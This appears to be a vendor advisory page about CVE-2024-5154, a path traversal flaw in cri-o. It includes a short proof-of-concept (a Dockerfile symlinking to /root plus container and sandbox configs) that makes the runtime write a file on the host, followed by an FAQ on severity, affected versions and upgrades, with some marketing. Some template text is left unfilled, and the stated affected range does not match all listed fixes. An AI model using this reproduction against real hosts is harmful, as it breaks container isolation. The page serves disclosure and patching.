CVE-2024-5154

Workarounds

Unfortunately not

References

Are there any links users can visit to find out more?

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:

FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

and this container config:

{
  "metadata": {
      "name": "busybox"
  },
  "image":{
      "image": "localhost/test"
  },
  "command": [
      "/bin/true"
  ],
  "linux": {
  }
}

and this sandbox config

{
  "metadata": {
    "name": "test-sandbox",
    "namespace": "default",
    "attempt": 1,
    "uid": "edishd83djaideaduwk28bcsb"
  },
  "linux": {
    "security_context": {
      "namespace_options": {
        "network": 2
      }
    }
  }
}

will create a file on host /host/mtab

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2024-5154 has a CVSS score of 8.1 (High). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.28.7, 1.29.5, 1.30.1); upgrading removes the vulnerable code path.

Kodem intelligence

1.30.1, 1.29.5, 1.28.7

1. What is CVE-2024-5154? CVE-2024-5154 is a high-severity path traversal vulnerability in github.com/cri-o/cri-o (go), affecting versions >= 1.28.6, < 1.28.7. It is fixed in 1.28.7, 1.29.5, 1.30.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2024-5154? CVE-2024-5154 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/cri-o/cri-o are affected by CVE-2024-5154? github.com/cri-o/cri-o (go) versions >= 1.28.6, < 1.28.7 is affected.
4. Is there a fix for CVE-2024-5154? Yes. CVE-2024-5154 is fixed in 1.28.7, 1.29.5, 1.30.1. Upgrade to this version or later.
5. Is CVE-2024-5154 exploitable, and should I be worried? Whether CVE-2024-5154 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-5154 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-5154?
   • Upgrade github.com/cri-o/cri-o to 1.28.7 or later
   • Upgrade github.com/cri-o/cri-o to 1.29.5 or later
   • Upgrade github.com/cri-o/cri-o to 1.30.1 or later